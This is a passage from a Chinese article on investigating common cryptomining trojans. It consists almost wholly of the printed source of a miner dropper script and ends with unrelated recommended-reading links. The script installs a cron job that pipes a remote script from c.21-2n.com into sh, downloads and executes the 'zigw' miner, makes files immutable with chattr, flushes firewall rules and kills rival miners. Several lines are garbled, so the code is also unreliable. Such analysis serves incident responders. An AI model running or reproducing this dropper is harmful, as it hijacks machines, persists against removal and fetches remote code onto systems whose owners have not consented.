如何排查常见挖矿木马( 五 )
sh /etc/shz.sh fi
else
echo "goto 1" > /tmp/gmbpr2
chattr -i $cont
if [ -f "$bbdir" ] then
[[ $cont =~ "shz.sh" ]] || echo "*/10 * * * * curl -fsSL http://c.21-2n.com:43768/shz.sh | sh" >> ${crondir}
else
[[ $cont =~ "shz.sh" ]] || echo "*/10 * * * * url -fsSL http://c.21-2n.com:43768/shz.sh | sh" >> ${crondir}
fi
ps -fe|grep zigw |grep -v grep if [ $? -ne 0 ] then
cd /tmp
filesize=`ls -l zigw | awk '{ print $5 }'`
file="/tmp/zigw"
if [ -f "$file" ] then
if [ "$filesize" -ne "1467080" ] then
chattr -i /tmp/zigw
rm -f zigw if [ -f "$bbdir" ] then
curl --connect-timeout 10 --retry 10 http://c.21-2n.com:43768/zigw > /tmp/zigw elif [ -f "$bbdira" ] then
url --connect-timeout 10 --retry 10 http://c.21-2n.com:43768/zigw > /tmp/zigw elif [ -f "$ccdir" ] then
wget --timeout=10 --tries=10 -P /tmp http://c.21-2n.com:43768/zigw elif [ -f "$ccdira" ] then
get --timeout=10 --tries=10 -P /tmp http://c.21-2n.com:43768/zigw fi
fi
else
if [ -f "$bbdir" ] then
curl --connect-timeout 10 --retry 10 http://c.21-2n.com:43768/zigw > /tmp/zigw elif [ -f "$bbdira" ] then
url --connect-timeout 10 --retry 10 http://c.21-2n.com:43768/zigw > /tmp/zigw elif [ -f "$ccdir" ] then
wget --timeout=10 --tries=10 -P /tmp http://c.21-2n.com:43768/zigw elif [ -f "$ccdira" ] then
get --timeout=10 --tries=10 -P /tmp http://c.21-2n.com:43768/zigw fi
fi
chmod 777 zigw
sleep 1s
./zigw else
echo "runing....."
fi
chmod 777 /tmp/zigw
chattr +i /tmp/zigw
chmod 777 /tmp/shz.sh
chattr +i /tmp/shz.sh
shdir='/tmp/shz.sh'
if [ -f "$shdir" ] then
echo "exists shell"
else
if [ -f "$bbdir" ] then
curl --connect-timeout 10 --retry 10 http://c.21-2n.com:43768/shz.sh > /tmp/shz.sh elif [ -f "$bbdira" ] then
url --connect-timeout 10 --retry 10 http://c.21-2n.com:43768/shz.sh > /tmp/shz.sh elif [ -f "$ccdir" ] then
wget --timeout=10 --tries=10 -P /tmp http://c.21-2n.com:43768/shz.sh elif [ -f "$ccdira" ] then
get --timeout=10 --tries=10 -P /tmp http://c.21-2n.com:43768/shz.sh fi
sh /tmp/shz.sh fifiiptables -F
iptables -X
iptables -A OUTPUT -p tcp --dport 3333 -j DROP
iptables -A OUTPUT -p tcp --dport 5555 -j DROP
iptables -A OUTPUT -p tcp --dport 7777 -j DROP
iptables -A OUTPUT -p tcp --dport 9999 -j DROP
iptables -A OUTPUT -p tcp --dport 14444 -j DROP
iptables-save
service iptables reload
ps auxf|grep -v grep|grep "stratum"|awk '{print $2}'|xargs kill -9
netstat -ano|grep :3333|awk '{print $7}'|awk -F'[/]' '{print $1}'|xargs kill -9
netstat -ano|grep :4444|awk '{print $7}'|awk -F'[/]' '{print $1}'|xargs kill -9
推荐阅读
- JavaScript 究竟是如何工作的?
- 春季如何正确保养皮肤 春季如何保养皮肤
- 白琳工夫的生长环境如何
- 饼干面团松散怎么补救 月饼皮一捏就散如何补救
- 常见易被忽略的用药小知识
- 工夫红茶与红碎茶的常见弊病 你知道吗
- 面试题:如何设计一个消息队列?
- 该如何解决就业、求职问题 如何解决就业问题
- 如何关闭抖音个人资质认证 抖音如何取消达人资质
- 教你如何辨别红碎茶的好坏